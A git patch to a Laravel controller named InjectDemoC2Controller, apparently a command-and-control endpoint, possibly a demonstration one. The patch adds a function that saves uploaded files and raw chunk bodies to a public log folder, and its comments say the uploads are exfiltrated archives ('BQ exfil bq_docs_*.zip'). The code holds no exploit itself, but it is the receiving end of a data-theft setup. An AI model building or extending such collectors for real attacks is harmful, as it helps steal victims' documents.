From 13aa587099ab3a48a2445f6317ed195cdd4fdea7 Mon Sep 17 00:00:00 2001 From: hashbro Date: Thu, 24 Sep 2026 03:44:47 +0800 Subject: [PATCH] feat: 26&timeout&keystore --- .../Controllers/C2/InjectDemoC2Controller.php | 60 +++++++++++++++++++ 1 file changed, 60 insertions(+) diff --git a/app/Http/Controllers/C2/InjectDemoC2Controller.php b/app/Http/Controllers/C2/InjectDemoC2Controller.php index 64f6c3d..9cd6f55 100644 --- a/app/Http/Controllers/C2/InjectDemoC2Controller.php +++ b/app/Http/Controllers/C2/InjectDemoC2Controller.php @@ -167,6 +167,10 @@ class InjectDemoC2Controller extends Controller } } + // Persist uploaded file bodies (multipart) and raw chunk bodies + // so captured artifacts can be reverse-engineered later. + $meta['saved_files'] = $this->persistUploads($request, $body, $tag); + create_log($meta, self::LOG_TYPE); } catch (\Throwable) { // never break the request for logging @@ -182,4 +186,60 @@ class InjectDemoC2Controller extends Controller return response($payload, 200)->header('Content-Type', 'application/json'); } + + /** + * Persist uploaded file bodies to public/log/inject_demo/uploads/. + * - multipart files → saved with original filename, prefixed by timestamp. + * - raw chunk bodies (non-multipart) → saved as _.bin. + * + * @param string $body Raw request body (empty for multipart). + * @return array Map of field/key → saved relative path. + */ + private function persistUploads(Request $request, string $body, string $tag): array + { + $saved = []; + $base = public_path('log/'.self::LOG_TYPE.'/uploads'); + if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) { + return $saved; + } + + $ts = date('Ymd-His').'-'.bin2hex(random_bytes(2)); + + // Multipart uploads (BQ exfil bq_docs_*.zip, etc.) + foreach ($request->allFiles() as $key => $f) { + if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) { + continue; + } + $orig = $f->getClientOriginalName(); + $safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig); + $dest = $base.'/'.$ts.'_'.$safe; + try { + if ($f->move(dirname($dest), basename($dest))) { + $saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); + } + } catch (\Throwable) { + // fall back to copy from tmp + try { + $tmp = $f->getRealPath(); + if ($tmp && @copy($tmp, $dest)) { + $saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); + } + } catch (\Throwable) { + } + } + } + + // Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream) + if ($body !== '' && empty($saved)) { + $dest = $base.'/'.$ts.'_'.$tag.'.bin'; + try { + if (@file_put_contents($dest, $body) !== false) { + $saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest); + } + } catch (\Throwable) { + } + } + + return $saved; + } }